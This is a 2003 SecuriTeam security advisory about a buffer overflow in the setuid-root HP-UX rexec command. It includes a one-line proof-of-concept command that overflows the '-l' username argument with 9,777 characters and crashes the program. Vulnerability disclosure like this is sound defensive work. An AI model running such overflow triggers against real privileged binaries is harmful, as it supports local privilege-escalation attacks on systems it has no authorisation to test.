[UNIX] HPUX rexec Buffer Overflow Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 04/30/03

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Date: 30 Apr 2003 11:27:58 +0200

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      HPUX rexec Buffer Overflow Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

    The rexec command works the same as remsh except that it uses the rexec()
    library routine and rexecd for command execution and does not support
    Kerberos authentication. One of the parameters rexec tool receives allows
    attackers to cause a buffer to overflow.

    DETAILS

    Rexec uses the "-l" option to specify a different remote username.

    $ ls -al rexec
     -r-sr-xr-x 1 root bin 20480 Oct 27 1997 rexec

    Using rexec with "-l" with a long option string:

    $ rexec 127.0.0.1 -l `perl -e 'printf "A" x 9777'` -n something
    Memory fault

    Solution:
    Davide is in contact with HP's Security staff, especially with John
    Morris, and Davide would like to thanks him and all his staff for the
    interest demonstrated during this period of research on HP-UX. He assured
    Davide, a patch has been written, and an Official Security Bulletin will
    follow Davide's advisory.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:dante@alighieri.org> Davide
    Del Vecchio.

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